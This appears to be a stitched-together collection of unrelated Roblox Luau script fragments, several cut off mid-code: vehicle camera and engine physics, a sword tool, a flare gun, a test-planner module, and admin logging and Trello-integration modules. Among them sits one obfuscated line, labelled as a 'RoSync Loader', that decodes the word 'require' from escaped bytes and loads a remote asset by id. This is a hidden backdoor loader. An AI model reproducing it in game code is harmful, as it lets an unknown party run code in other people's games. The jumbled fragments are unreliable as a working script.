player.CameraMaxZoomDistance=5 local cf=car.Body.Cam.CFrame if ButtonR3==1 then cf=car.Body.RCam.CFrame end cam.CoordinateFrame=cf*CFrame.Angles(0,math.rad(CRot+CBack),0)*CFrame.Angles(math.rad(CUp),0,0) else cam.CameraSubject=car.DriveSeat cam.FieldOfView=70 if mode==0 then cam.CameraType=Enum.CameraType.Custom player.CameraMaxZoomDistance=400 run:UnbindFromRenderStep("CamUpdate") else cam.CameraType = "Scriptable" local pspeed = math.min(1,car.DriveSeat.Velocity.Magnitude/500) local cc = car.DriveSeat.Position+Vector3.new(0,8+(pspeed*2),0)-((car.DriveSeat.CFrame*CFrame.Angles(math.rad(CUp),math.rad(CRot+CBack),0)).lookVector*17)+(car.DriveSeat.Velocity.Unit*-7*pspeed) cam.CoordinateFrame = CFrame.new(cc,car.DriveSeat.Position) end end end) then cam.FieldOfView=70 cam.CameraSubject=player.Character.Humanoid cam.CameraType=Enum.CameraType.Custom player.CameraMaxZoomDistance=400 run:UnbindFromRenderStep("CamUpdate") end end local function ModeChange() if GMode~=mode then mode=GMode run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate) end end mouse.KeyDown:connect(function(key) if key=="z" then look=50 elseif key=="x" then if intcam then look=-160 else look=-180 end elseif key=="c" then look=-50 elseif key=="v" then run:UnbindFromRenderStep("CamUpdate") intcam=not intcam run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate) end end) mouse.KeyUp:connect(function(key) if key=="z" and look==50 then look=0 elseif key=="x" and (look==-160 or look==-180) then look=0 elseif key=="c" and look==-50 then look=0 end end) run:BindToRenderStep("CMChange",Enum.RenderPriority.Camera.Value,ModeChange) table.insert(Binded,"CamUpdate") table.insert(Binded,"CMChange") end Camera() mouse.KeyDown:connect(function(key) if key=="b" then if GMode>=1 then GMode=0 else GMode=GMode+1 end if GMode==1 then Controller=true else Controller=false end end end)
--> LOCAL VARIABLES
local Flare = script.Parent local Player = game.Players.LocalPlayer local ClickedEvent = Flare:WaitForChild("PlayerClicked") local FlareHandle = Flare:WaitForChild("Handle") local ReloadTime = Flare:WaitForChild("Customisation"):WaitForChild("ReloadTime").Value local FireAnim = Flare:WaitForChild("FireAnimation") local ReloadAnim = Flare:WaitForChild("ReloadAnimation") local Reloading = false
-- In GNU diff format, indexes are one-based instead of zero-based.
local function createPatchMark( aStart: number, aEnd: number, bStart: number, bEnd: number, options: DiffOptionsNormalized ): string return options.patchColor( string.format("@@ -%d,%d +%d,%d @@", aStart + 1, aEnd - aStart, bStart + 1, bEnd - bStart) ) end
-- Hitbox values
local MINIMUM_SECONDS_SCHEDULER: number = 1 / 60 local DEFAULT_SIMULATION_TYPE: RBXScriptSignal = game:GetService("RunService").Heartbeat
--[[ Singleton manager that controls the monsters. ]]
local ReplicatedStorage = game:GetService("ReplicatedStorage") local ServerStorage = game:GetService("ServerStorage") local Registry = require(ReplicatedStorage.Dependencies.GameUtils.Components.Registry) local TableUtils = require(ReplicatedStorage.Dependencies.LuaUtils.TableUtils) local Monster = require(ServerStorage.Source.Components.Monster) local getRandomClearLocationInRegionAsync = require(ServerStorage.Source.Common.getRandomClearLocationInRegionAsync) local CLEAR_AREA_TO_SPAWN = Vector3.new(5, 5, 5) local monsters = Registry.new(Monster) local interests = {} local monsterId = 1 local MonsterManager = {}
-- Tool.Grip = Grips.Up
Tool.Enabled = true function IsTeamMate(Player1, Player2) return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor) end function TagHumanoid(humanoid, player) local Creator_Tag = Instance.new("ObjectValue") Creator_Tag.Name = "creator" Creator_Tag.Value = player Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end function Blow(Hit) if not Hit or not Hit.Parent or not CheckIfAlive() or not ToolEquipped then return end local RightArm = Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand") if not RightArm then return end local RightGrip = RightArm:FindFirstChild("RightGrip") if not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then return end local character = Hit.Parent if character == Character then return end local humanoid = character:FindFirstChildOfClass("Humanoid") if not humanoid or humanoid.Health == 0 then return end local player = Players:GetPlayerFromCharacter(character) if player and (player == Player or IsTeamMate(Player, player)) then return end UntagHumanoid(humanoid) TagHumanoid(humanoid, Player) humanoid:TakeDamage(Damage) end function Attack() Damage = DamageValues.SlashDamage Sounds.Slash:Play() if Humanoid then if Humanoid.RigType == Enum.HumanoidRigType.R6 then local Anim = Instance.new("StringValue") Anim.Name = "toolanim" Anim.Value = "Slash" Anim.Parent = Tool elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then local Anim = Tool:FindFirstChild("R15Slash") if Anim then local Track = Humanoid:LoadAnimation(Anim) Track:Play(0) end end end end function Lunge() Damage = DamageValues.LungeDamage Sounds.Lunge:Play() if Humanoid then if Humanoid.RigType == Enum.HumanoidRigType.R6 then local Anim = Instance.new("StringValue") Anim.Name = "toolanim" Anim.Value = "Lunge" Anim.Parent = Tool elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then local Anim = Tool:FindFirstChild("R15Lunge") if Anim then local Track = Humanoid:LoadAnimation(Anim) Track:Play(0) end end end --[[ if CheckIfAlive() then local Force = Instance.new("BodyVelocity") Force.velocity = Vector3.new(0, 10, 0) Force.maxForce = Vector3.new(0, 4000, 0) Debris:AddItem(Force, 0.4) Force.Parent = Torso end ]] wait(0.2) Tool.Grip = Grips.Out wait(0.6) Tool.Grip = Grips.Up Damage = DamageValues.SlashDamage end Tool.Enabled = true LastAttack = 0 function Activated() if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then return end Tool.Enabled = false local Tick = RunService.Stepped:wait() if (Tick - LastAttack < 0.2) then Lunge() else Attack() end LastAttack = Tick --wait(0.5) Damage = DamageValues.BaseDamage local SlashAnim = (Tool:FindFirstChild("R15Slash") or Create("Animation"){ Name = "R15Slash", AnimationId = BaseUrl .. Animations.R15Slash, Parent = Tool }) local LungeAnim = (Tool:FindFirstChild("R15Lunge") or Create("Animation"){ Name = "R15Lunge", AnimationId = BaseUrl .. Animations.R15Lunge, Parent = Tool }) Tool.Enabled = true end function CheckIfAlive() return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent) and true) or false) end function Equipped() Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChildOfClass("Humanoid") Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("HumanoidRootPart") if not CheckIfAlive() then return end ToolEquipped = true Sounds.Unsheath:Play() end function Unequipped() -- Tool.Grip = Grips.Up ToolEquipped = false end Tool.Activated:Connect(Activated) Tool.Equipped:Connect(Equipped) Tool.Unequipped:Connect(Unequipped) Connection = Handle.Touched:Connect(Blow)
--[[ Represents a tree of tests that have been loaded but not necessarily executed yet. TestPlan objects are produced by TestPlanner. ]]
local TestEnum = require(script.Parent.TestEnum) local Expectation = require(script.Parent.Expectation) local function getCoreScriptSyncService() local success, result = pcall(function() return game:GetService("CoreScriptSyncService") end) return success and result or nil end local CoreScriptSyncService = nil local function getFilePathFromInstance(instance) if CoreScriptSyncService == nil then CoreScriptSyncService = getCoreScriptSyncService() or false end local success, result = pcall(function() if not CoreScriptSyncService then return nil end return CoreScriptSyncService:GetScriptFilePath(instance) end) return (success and result or nil) end local function newEnvironment(currentNode, extraEnvironment, filePath) local env = {} if extraEnvironment then if type(extraEnvironment) ~= "table" then error(("Bad argument #2 to newEnvironment. Expected table, got %s"):format(typeof(extraEnvironment)), 2) end for key, value in pairs(extraEnvironment) do env[key] = value end end local function addChild(phrase, callback, nodeType, nodeModifier) local node = currentNode:addChild(phrase, nodeType, nodeModifier, filePath) node.callback = callback if nodeType == TestEnum.NodeType.Describe then node:expand() end return node end function env.describeFOCUS(phrase, callback) addChild(phrase, callback, TestEnum.NodeType.Describe, TestEnum.NodeModifier.Focus) end function env.describeSKIP(phrase, callback) addChild(phrase, callback, TestEnum.NodeType.Describe, TestEnum.NodeModifier.Skip) end function env.describe(phrase, callback, nodeModifier) addChild(phrase, callback, TestEnum.NodeType.Describe, TestEnum.NodeModifier.None) end function env.itFOCUS(phrase, callback) addChild(phrase, callback, TestEnum.NodeType.It, TestEnum.NodeModifier.Focus) end function env.itSKIP(phrase, callback) addChild(phrase, callback, TestEnum.NodeType.It, TestEnum.NodeModifier.Skip) end function env.itFIXME(phrase, callback) local node = addChild(phrase, callback, TestEnum.NodeType.It, TestEnum.NodeModifier.Skip) warn("FIXME: broken test", node:getFullName()) end function env.it(phrase, callback, nodeModifier) addChild(phrase, callback, TestEnum.NodeType.It, TestEnum.NodeModifier.None) end -- Incrementing counter used to ensure that beforeAll, afterAll, beforeEach, afterEach have unique phrases local lifecyclePhaseId = 0 local lifecycleHooks = { [TestEnum.NodeType.BeforeAll] = "beforeAll", [TestEnum.NodeType.AfterAll] = "afterAll", [TestEnum.NodeType.BeforeEach] = "beforeEach", [TestEnum.NodeType.AfterEach] = "afterEach", } for nodeType, name in pairs(lifecycleHooks) do env[name] = function(callback) addChild(name .. "_" .. tostring(lifecyclePhaseId), callback, nodeType, TestEnum.NodeModifier.None) lifecyclePhaseId = lifecyclePhaseId + 1 end end function env.FIXME(optionalMessage) warn("FIXME: broken test", currentNode:getFullName(), optionalMessage or "") currentNode.modifier = TestEnum.NodeModifier.Skip end function env.FOCUS() currentNode.modifier = TestEnum.NodeModifier.Focus end function env.SKIP() currentNode.modifier = TestEnum.NodeModifier.Skip end --[[ This function is deprecated. Calling it is a no-op beyond generating a warning. ]] function env.HACK_NO_XPCALL() warn( "HACK_NO_XPCALL is deprecated. It is now safe to yield in an " .. "xpcall, so this is no longer necessary. It can be safely deleted." ) end env.fit = env.itFOCUS env.xit = env.itSKIP env.fdescribe = env.describeFOCUS env.xdescribe = env.describeSKIP env.expect = setmetatable({ extend = function(...) error('Cannot call "expect.extend" from within a "describe" node.') end, }, { __call = function(_self, ...) return Expectation.new(...) end, }) return env end local TestNode = {} TestNode.__index = TestNode
--- Recursively sets the table as ReadOnly -- @tparam table table Table to error on indexing -- @treturn table table The same table
function Table.deepReadonly(table) for _, item in pairs(table) do if type(item) == "table" then Table.deepReadonly(item) end end return Table.readonly(table) end return Table
-- emote bindable hook --script:WaitForChild("PlayEmote").OnInvoke = function(emote) -- -- Only play emotes when idling -- if pose ~= "Standing" then -- return -- end
--[[ Merges all arrays into one array, eliminating duplicate values --]]
local function mergeArraysUniqueOnly(...: { any }) local results = {} for _, array in ipairs({ ... }) do if not array then continue end for _, value in ipairs(array) do if not table.find(results, value) then table.insert(results, value) end end end return results end return mergeArraysUniqueOnly
-- Gradually regenerates the Humanoid's Health over time.
local REGEN_RATE = 100/100 -- Regenerate this fraction of MaxHealth per second. local REGEN_STEP = 0.1 -- Wait this long between each regeneration step.
--[[ Last synced 12/18/2020 11:05 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--function onKeyPress(inputObject, gameProcessedEvent) -- if not gameProcessedEvent then -- if inputObject.KeyCode == Enum.KeyCode.E then -- if Mode == "Narrow" then -- Tool.RemoteEvent:FireServer(nil, "Narrow") -- Mode = "Fog" -- else -- Tool.RemoteEvent:FireServer(nil, "Fog") -- Mode = "Narrow" -- end -- end -- end --end --game:GetService("UserInputService").InputEnded:connect(onKeyPress)
-- Represents the function to determine piercing.
export type CanPierceFunction = (ActiveCast, RaycastResult, Vector3) -> boolean
--[[Brakes]]
Tune.ABSEnabled = true -- Implements ABS Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS) Tune.BrakeForce = 2500 -- Total brake force (LuaInt) Tune.BrakeBias = .6 -- Brake bias towards the front, percentage (1 = Front, 0 = Rear, .5 = 50/50) Tune.PBrakeForce = 5000 -- Handbrake force Tune.PBrakeBias = 0 -- Handbrake bias towards the front, percentage (1 = Front, 0 = Rear, .5 = 50/50) Tune.EBrakeForce = 500 -- Engine braking force at redline
--WeldRec(P.Parent.Lights)
for _,v in pairs(weldedParts) do if v:IsA("MeshPart") then v.Anchored = false end end script:Destroy()
--- Returns an array of the names of all registered types (not including aliases)
function Registry:GetTypeNames () local typeNames = {} for typeName in pairs(self.Types) do table.insert(typeNames, typeName) end return typeNames end
--[[Engine]]
local fFD = _Tune.FinalDrive*_Tune.FDMult --Horsepower Curve local fgc_h=_Tune.Horsepower/100 local fgc_n=_Tune.PeakRPM/1000 local fgc_a=_Tune.PeakSharpness local fgc_c=_Tune.CurveMult function FGC(x) x=x/1000 return (((-(x-fgc_n)^2)*math.min(fgc_h/(fgc_n^2),fgc_c^(fgc_n/fgc_h)))+fgc_h)*(x-((x^fgc_a)/((fgc_a*fgc_n)^(fgc_a-1)))) end local PeakFGC = FGC(_Tune.PeakRPM) --Plot Current Horsepower local cGrav = workspace.Gravity/32.2 function GetCurve(x) local hp=math.max((FGC(x)*_Tune.Horsepower)/PeakFGC,0) local iComp =(car.DriveSeat.CFrame.lookVector.y)*_Tune.InclineComp*cGrav if _CGear==-1 then iComp=-iComp end return hp,hp*(_Tune.EqPoint/x)*_Tune.Ratios[_CGear+2]*fFD*math.max(1,(1+iComp))*hpScaling end --Powertrain function Engine() --Neutral Gear if _CGear==0 then _ClutchOn = false end --Car Is Off local revMin = _Tune.IdleRPM if not _IsOn then revMin = 0 _CGear = 0 _ClutchOn = false _GThrot = _Tune.IdleThrottle/100 end --Determine RPM local maxSpin=0 for i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end if _ClutchOn then local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFD*30/math.pi,_Tune.Redline+100),revMin) local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9) _RPM = _RPM*clutchP + aRPM*(1-clutchP) _HP,_OutTorque = GetCurve(_RPM) else if _GThrot-(_Tune.IdleThrottle/100)>0 then _RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100) else _RPM = math.max(_RPM-_Tune.RevDecay,revMin) end _OutTorque = 0 end --Rev Limiter local spLimit = 0 if _RPM>_Tune.Redline then if _CGear<#_Tune.Ratios-2 then _RPM = _RPM-_Tune.RevBounce spLimit = 0 else _RPM = _RPM-_Tune.RevBounce*.5 end else spLimit = (_Tune.Redline+100)*math.pi/(30*_Tune.Ratios[_CGear+2]*fFD) end --Automatic Transmission if _TMode == "Auto" and _IsOn then _ClutchOn = true if _CGear == 0 then _CGear = 1 end if _CGear >= 1 then if _CGear==1 and _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 20 then _CGear = -1 else if _Tune.AutoShiftMode == "RPM" then if _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFD*30/math.pi,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then _CGear=math.max(_CGear-1,1) end else if car.DriveSeat.Velocity.Magnitude > math.ceil(wDia*math.pi*(_Tune.PeakRPM+_Tune.AutoUpThresh)/60/_Tune.Ratios[_CGear+2]/fFD) then _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDia*math.pi*(_Tune.PeakRPM-_Tune.AutoDownThresh)/60/_Tune.Ratios[_CGear+1]/fFD) then _CGear=math.max(_CGear-1,1) end end end else if _GThrot-(_Tune.IdleThrottle/100) > 0 and car.DriveSeat.Velocity.Magnitude < 20 then _CGear = 1 end end end --Average Rotational Speed Calculation local fwspeed=0 local fwcount=0 local rwspeed=0 local rwcount=0 for i,v in pairs(car.Wheels:GetChildren()) do if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then fwspeed=fwspeed+v.RotVelocity.Magnitude fwcount=fwcount+1 elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then rwspeed=rwspeed+v.RotVelocity.Magnitude rwcount=rwcount+1 end end fwspeed=fwspeed/fwcount rwspeed=rwspeed/rwcount local cwspeed=(fwspeed+rwspeed)/2 --Update Wheels for i,v in pairs(car.Wheels:GetChildren()) do --Reference Wheel Orientation local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*CFrame.Angles(math.pi/2,-math.pi/2,0)).lookVector),v.Position)*CFrame.Angles(0,math.pi,0)).lookVector local aRef=1 local diffMult=1 if v.Name=="FL" or v.Name=="RL" then aRef=-1 end --AWD Torque Scaling if _Tune.Config == "AWD" then _OutTorque = _OutTorque*(2^.5)/2 end --Differential/Torque-Vectoring if v.Name=="FL" or v.Name=="FR" then diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50)))) if _Tune.Config == "AWD" then diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50))))) end elseif v.Name=="RL" or v.Name=="RR" then diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50)))) if _Tune.Config == "AWD" then diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50))))) end end _TCSActive = false _ABSActive = false --Output if _PBrake and ((_Tune.Config ~= "FWD" and (((v.Name=="FL" or v.Name=="FR") and car.DriveSeat.Velocity.Magnitude<20) or ((v.Name=="RR" or v.Name=="RL") and car.DriveSeat.Velocity.Magnitude>=20))) or (_Tune.Config == "FWD" and (v.Name=="RR" or v.Name=="RL"))) then --PBrake v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce v["#AV"].angularvelocity=Vector3.new() else --Apply Power if ((_TMode == "Manual" or _TMode == "Semi") and _GBrake==0) or (_TMode == "Auto" and ((_CGear>-1 and _GBrake==0 ) or (_CGear==-1 and _GThrot-(_Tune.IdleThrottle/100)==0 )))then local driven = false for _,a in pairs(Drive) do if a==v then driven = true end end if driven then local on=1 if not script.Parent.IsOn.Value then on=0 end local throt = _GThrot if _TMode == "Auto" and _CGear==-1 then throt = _GBrake end --Apply TCS local tqTCS = 1 if _TCS then tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100))) end if tqTCS < 1 then _TCSActive = true end --Update Forces local dir = 1 if _CGear==-1 then dir = -1 end v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on v["#AV"].angularvelocity=Ref*aRef*spLimit*dir else v["#AV"].maxTorque=Vector3.new() v["#AV"].angularvelocity=Vector3.new() end --Brakes else local brake = _GBrake if _TMode == "Auto" and _CGear==-1 then brake = _GThrot end --Apply ABS local tqABS = 1 if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then tqABS = 0 end if tqABS < 1 then _ABSActive = true end --Update Forces if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS else v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS end v["#AV"].angularvelocity=Vector3.new() end end end end
--// Special Variables
return function(Vargs, GetEnv) local env = GetEnv(nil, {script = script}) setfenv(1, env) local server = Vargs.Server; local service = Vargs.Service; local MaxLogs = 1000 local Functions, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Settings local function Init() Functions = server.Functions; Admin = server.Admin; Anti = server.Anti; Core = server.Core; HTTP = server.HTTP; Logs = server.Logs; Remote = server.Remote; Process = server.Process; Variables = server.Variables; Settings = server.Settings; MaxLogs = Settings.MaxLogs; game:BindToClose(Logs.SaveCommandLogs); Logs.Init = nil; Logs:AddLog("Script", "Logging Module Initialized"); end; server.Logs = { Init = Init; Chats = {}; Joins = {}; Leaves = {}; Script = {}; RemoteFires = {}; Commands = {}; Exploit = {}; Errors = {}; DateTime = {}; TempUpdaters = {}; OldCommandLogsLimit = 1000; --// Maximum number of command logs to save to the datastore (the higher the number, the longer the server will take to close) TabToType = function(tab) local indToName = { Chats = "Chat"; Joins = "Join"; Leaves = "Leave"; Script = "Script"; RemoteFires = "RemoteFire"; Commands = "Command"; Exploit = "Exploit"; Errors = "Error"; DateTime = "DateTime"; } for ind, t in pairs(server.Logs) do if t == tab then return indToName[ind] or ind end end end; AddLog = function(tab, log, misc) if misc then tab = log log = misc end if type(tab) == "string" then tab = Logs[tab] end if type(log) == "string" then log = { Text = log; Desc = log; } end if not log.Time and not log.NoTime then log.Time = os.time() end table.insert(tab, 1, log) if #tab > tonumber(MaxLogs) then table.remove(tab, #tab) end service.Events.LogAdded:Fire(server.Logs.TabToType(tab), log, tab) end; SaveCommandLogs = function() warn("Saving command logs...") if Settings.SaveCommandLogs ~= true or Settings.DataStoreEnabled ~= true then warn("Skipped saving command logs.") return end local logsToSave = Logs.Commands --{} local maxLogs = Logs.OldCommandLogsLimit --local numLogsToSave = 200; --// Save the last X logs from this server --for i = #Logs.Commands, i = math.max(#Logs.Commands - numLogsToSave, 1), -1 do -- table.insert(logsToSave, Logs.Commands[i]); --end Core.UpdateData("OldCommandLogs", function(oldLogs) local temp = {} for _, m in ipairs(logsToSave) do local newTab = type(m) == "table" and service.CloneTable(m) or m if type(m) == "table" and newTab.Player then local p = newTab.Player newTab.Player = { Name = p.Name; UserId = p.UserId; } end table.insert(temp, newTab)--{Time = m.Time; Text = m.Text..": "..m.Desc; Desc = m.Desc}) end if oldLogs then for _, m in ipairs(oldLogs) do table.insert(temp, m) end end table.sort(temp, function(a, b) if a.Time and b.Time and type(a.Time) == "number" and type(b.Time) == "number" then return a.Time > b.Time else return false end end) --// Trim logs, starting from the oldest if #temp > maxLogs then local diff = #temp - maxLogs for i = 1, diff do table.remove(temp, 1) end end return temp end) warn("Command logs saved!") end; ListUpdaters = { TempUpdate = function(plr, data) local updateKey = data.UpdateKey local updater = Logs.TempUpdaters[updateKey] if updater then return updater(data) end end; }; }; Logs = Logs end
--------------------[ GUI SETUP FUNCTION ]--------------------------------------------
function ConvertKey(Key) if Key == string.char(8) then return "BKSPCE" elseif Key == string.char(9) then return "TAB" elseif Key == string.char(13) then return "ENTER" elseif Key == string.char(17) then return "UP" elseif Key == string.char(18) then return "DOWN" elseif Key == string.char(19) then return "RIGHT" elseif Key == string.char(20) then return "LEFT" elseif Key == string.char(22) then return "HOME" elseif Key == string.char(23) then return "END" elseif Key == string.char(27) then return "F2" elseif Key == string.char(29) then return "F4" elseif Key == string.char(30) then return "F5" elseif Key == string.char(32) or Key == " " then return "F7" elseif Key == string.char(33) or Key == "!" then return "F8" elseif Key == string.char(34) or Key == '"' then return "F9" elseif Key == string.char(35) or Key == "#" then return "F10" elseif Key == string.char(37) or Key == "%" then return "F12" elseif Key == string.char(47) or Key == "/" then return "R-SHIFT" elseif Key == string.char(48) or Key == "0" then return "L-SHIFT" elseif Key == string.char(49) or Key == "1" then return "R-CTRL" elseif Key == string.char(50) or Key == "2" then return "L-CTRL" elseif Key == string.char(51) or Key == "3" then return "R-ALT" elseif Key == string.char(52) or Key == "4" then return "L-ALT" else return string.upper(Key) end end function CreateControlFrame(Key, Desc, Num) local C = Instance.new("Frame") C.BackgroundTransparency = ((Num % 2) == 1 and 0.7 or 1) C.BorderSizePixel = 0 C.Name = "C"..Num C.Position = UDim2.new(0, 0, 0, Num * 20) C.Size = UDim2.new(1, 0, 0, 20) local K = Instance.new("TextLabel") K.BackgroundTransparency = 1 K.Name = "Key" K.Size = UDim2.new(0, 45, 1, 0) K.Font = Enum.Font.ArialBold K.FontSize = Enum.FontSize.Size14 K.Text = Key K.TextColor3 = Color3.new(1, 1, 1) K.TextScaled = (string.len(Key) > 5) K.TextWrapped = (string.len(Key) > 5) K.Parent = C local D = Instance.new("TextLabel") D.BackgroundTransparency = 1 D.Name = "Desc" D.Position = UDim2.new(0, 50, 0, 0) D.Size = UDim2.new(1, -50, 1, 0) D.Font = Enum.Font.ArialBold D.FontSize = Enum.FontSize.Size14 D.Text = "- "..Desc D.TextColor3 = Color3.new(1, 1, 1) D.TextXAlignment = Enum.TextXAlignment.Left D.Parent = C end function SetUpGui() local HUD = Gui_Clone:WaitForChild("HUD") local Scope = Gui_Clone:WaitForChild("Scope") local CurrentNum = 1 if S.CanChangeStance then local Dive = (S.DolphinDive and " / Dive" or "") CreateControlFrame(ConvertKey(S.LowerStanceKey), "Lower Stance"..Dive, CurrentNum) CurrentNum = CurrentNum + 1 CreateControlFrame(ConvertKey(S.RaiseStanceKey), "Raise Stance", CurrentNum) CurrentNum = CurrentNum + 1 end CreateControlFrame(ConvertKey(S.ReloadKey), "Reload", CurrentNum) CurrentNum = CurrentNum + 1 if S.CanKnife then CreateControlFrame(ConvertKey(S.KnifeKey), "Knife", CurrentNum) CurrentNum = CurrentNum + 1 end CreateControlFrame(ConvertKey(S.SprintKey), "Sprint", CurrentNum) CurrentNum = CurrentNum + 1 if S.GuiScope then Scope:WaitForChild("Img").Image = S.GuiId Scope:WaitForChild("Steady").Text = "Hold "..ConvertKey(S.ScopeSteadyKey).." to Steady" end HUD:WaitForChild("Grenades"):WaitForChild("Lethals"):WaitForChild("Icon").Image = LethalIcons[S.LethalGrenadeType] HUD:WaitForChild("Grenades"):WaitForChild("Tacticals"):WaitForChild("Icon").Image = TacticalIcons[S.TacticalGrenadeType] end
-- Check if character is there
if script.Owner.Value.Character ~= nil then -- Find knife local knife = nil if script.Owner.Value.Backpack:FindFirstChild("Knife") then knife = script.Owner.Value.Backpack.Knife elseif script.Owner.Value.Character:FindFirstChild("Knife") then knife = script.Owner.Value.Character.Knife end if knife ~= nil then -- Make it go through players knife.KnifeScript.KnifeProjectileScript.MultikillsAllowed.Value = true end end
--// HTTP
return function(Vargs) local server = Vargs.Server; local service = Vargs.Service; local Functions, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Settings local function Init() Functions = server.Functions; Admin = server.Admin; Anti = server.Anti; Core = server.Core; HTTP = server.HTTP; Logs = server.Logs; Remote = server.Remote; Process = server.Process; Variables = server.Variables; Settings = server.Settings; Logs:AddLog("Script", "HTTP Module Initialized") end; server.HTTP = { Init = Init; Service = service.HttpService; CheckHttp = function() local y,n = pcall(function() local hs = service.HttpService local get = hs:GetAsync('http://google.com') end) if y and not n then return true end end; WebPanel = { Moderators = {}; Admins = {}; Owners = {}; Creators = {}; Mutes = {}; Bans = {}; Blacklist = {}; Whitelist = {}; }; Trello = { Helpers = {}; Moderators = {}; Admins = {}; Owners = {}; Creators = {}; Mutes = {}; Bans = {}; Music = {}; InsertList = {}; Agents = {}; Blacklist = {}; Whitelist = {}; PerformedCommands = {}; Update = function() if not HTTP.CheckHttp() then --HTPP.Trello.Bans = {'Http is not enabled! Cannot connect to Trello!'} warn('Http is not enabled! Cannot connect to Trello!') elseif not Settings.Trello_Enabled then -- Do something else? else local boards = {} local bans = {} local admins = {} local mods = {} local owners = {} local helpers = {} local creators = {} local agents = {} local music = {} local insertlist = {} local mutes = {} local perms = {} local blacklist = {} local whitelist = {} local function grabData(board) local trello = HTTP.Trello.API(Settings.Trello_AppKey,Settings.Trello_Token) local lists = trello.getLists(board) local banList = trello.getListObj(lists,{"Banlist","Ban List","Bans"}) local commandList = trello.getListObj(lists,{"Commands","Command List"}) local adminList = trello.getListObj(lists,{"Admins","Admin List","Adminlist"}) local modList = trello.getListObj(lists,{"Moderators","Moderator List","Moderatorlist","Modlist","Mod List","Mods"}) local creatorList = trello.getListObj(lists,{"Creators","Creator List","Creatorlist","Place Owners"}) local ownerList = trello.getListObj(lists,{"Owners","Owner List","Ownerlist"}) local musicList = trello.getListObj(lists,{"Music","Music List","Musiclist","Songs"}) local insertList = trello.getListObj(lists,{"InsertList","Insert List","Insertlist","Inserts","ModelList","Model List","Modellist","Models"}) local permList = trello.getListObj(lists,{"Permissions","Permission List","Permlist"}) local muteList = trello.getListObj(lists,{"Mutelist","Mute List"}) local agentList = trello.getListObj(lists,{"Agents","Agent List","Agentlist"}) local bList = trello.getListObj(lists,"Blacklist") local wList = trello.getListObj(lists,"Whitelist") if banList then local cards = trello.getCards(banList.id) for l,k in pairs(cards) do table.insert(bans,k.name) end end if creatorList then local cards = trello.getCards(creatorList.id) for l,k in pairs(cards) do table.insert(creators,k.name) end end if modList then local cards = trello.getCards(modList.id) for l,k in pairs(cards) do table.insert(mods,k.name) end end if adminList then local cards = trello.getCards(adminList.id) for l,k in pairs(cards) do table.insert(admins,k.name) end end if ownerList then local cards = trello.getCards(ownerList.id) for l,k in pairs(cards) do table.insert(owners,k.name) end end if agentList then local cards = trello.getCards(agentList.id) for l,k in pairs(cards) do table.insert(agents,k.name) end end if musicList then local cards = trello.getCards(musicList.id) for 